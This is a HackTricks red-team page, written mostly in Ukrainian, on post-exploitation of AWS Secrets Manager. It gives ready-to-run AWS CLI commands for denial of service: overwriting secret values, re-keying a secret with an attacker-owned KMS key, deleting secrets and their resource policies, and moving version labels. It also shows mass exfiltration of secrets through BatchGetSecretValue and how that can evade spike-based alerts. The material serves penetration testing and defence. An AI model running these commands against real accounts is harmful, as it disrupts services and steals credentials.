AWS - Secrets Manager Post Exploitation

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Secrets Manager

Для додаткової інформації див.:

AWS - Secrets Manager Enum

Читання секретів

The секрети самі по собі є чутливою інформацією, перегляньте сторінку privesc, щоб дізнатися, як їх прочитати.

DoS Change Secret Value

Зміна значення секрету може призвести до DoS всіх систем, які залежать від цього значення.

warning

Зверніть увагу, що попередні значення також зберігаються, тож легко повернутися до попереднього значення.

bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Якщо зловмисник має дозвіл secretsmanager:UpdateSecret, він може налаштувати secret на використання KMS key, який належить зловмиснику. Цей ключ спочатку налаштований так, щоб будь-хто міг отримати до нього доступ і використовувати його, тож оновлення secret з новим ключем можливе. Якби ключ був недоступний, secret не вдалося б оновити.

Після зміни ключа для secret зловмисник змінює конфігурацію свого ключа так, щоб лише він мав до нього доступ. Таким чином у наступних версіях secret буде зашифровано новим ключем, і, оскільки доступу до нього не буде, можливість отримати secret буде втрачена.

Важливо зазначити, що ця недоступність виникне лише в пізніших версіях — після того як вміст secret зміниться, оскільки поточна версія все ще зашифрована оригінальним KMS key.

bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Deleting Secret

Мінімальна кількість днів для видалення секрету — 7

bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Можна відновити секрет, що дозволяє відновлювати секрети, які були заплановані на видалення, оскільки мінімальний період видалення для секретів — 7 днів, а максимальний — 30 днів. Разом з дозволом secretsmanager:GetSecretValue це дозволяє отримати їх вміст.

Щоб відновити секрет, який знаходиться в процесі видалення, можна використати наступну команду:

bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Ця дія дозволяє видаляти політику ресурсу, яка контролює, хто може отримати доступ до secret. Це може призвести до DoS, якщо політика ресурсу була налаштована так, щоб дозволяти доступ певному набору користувачів.

Щоб видалити політику ресурсу:

bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Стани секрету використовуються для керування версіями секрету. AWSCURRENT позначає активну версію, яку використовують додатки; AWSPREVIOUS зберігає попередню версію, щоб у разі потреби можна було відкотитися; а AWSPENDING використовується в процесі ротації для підготовки та перевірки нової версії перед тим, як зробити її поточною.

Додатки завжди читають версію з AWSCURRENT. Якщо хтось перемістить цей ярлик на неправильну версію, додатки використовуватимуть недійсні облікові дані і можуть відмовити.

AWSPREVIOUS не використовується автоматично. Проте, якщо AWSCURRENT буде видалено або переназначено неправильно, може створитися враження, що все досі працює з попередньою версією.

bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (до 20 за виклик)

Abuse the Secrets Manager BatchGetSecretValue API, щоб отримати до 20 секретів в одному запиті. Це може значно зменшити обсяг викликів API порівняно з послідовним викликом GetSecretValue для кожного секрету. Якщо використовуються фільтри (теги/ім'я), також потрібен дозвіл ListSecrets. CloudTrail все одно фіксує по одному GetSecretValue event для кожного секрету, отриманого в батчі.

Required permissions

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue for each target secret
  • secretsmanager:ListSecrets if using --filters
  • kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

warning

Зверніть увагу, що дозвіл secretsmanager:BatchGetSecretValue сам по собі недостатній для отримання секретів — вам також потрібен secretsmanager:GetSecretValue для кожного секрету, який ви хочете отримати.

Exfiltrate by explicit list

bash
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrate за допомогою фільтрів (tag key/value or name prefix)

bash
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Обробка часткових збоїв

bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Вплив

  • Швидке “smash-and-grab” великої кількості секретів з меншою кількістю викликів API, потенційно обходячи сповіщення, налаштовані на сплески GetSecretValue.
  • Логи CloudTrail все ще містять по одному GetSecretValue event для кожного секрету, отриманого пакетом.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks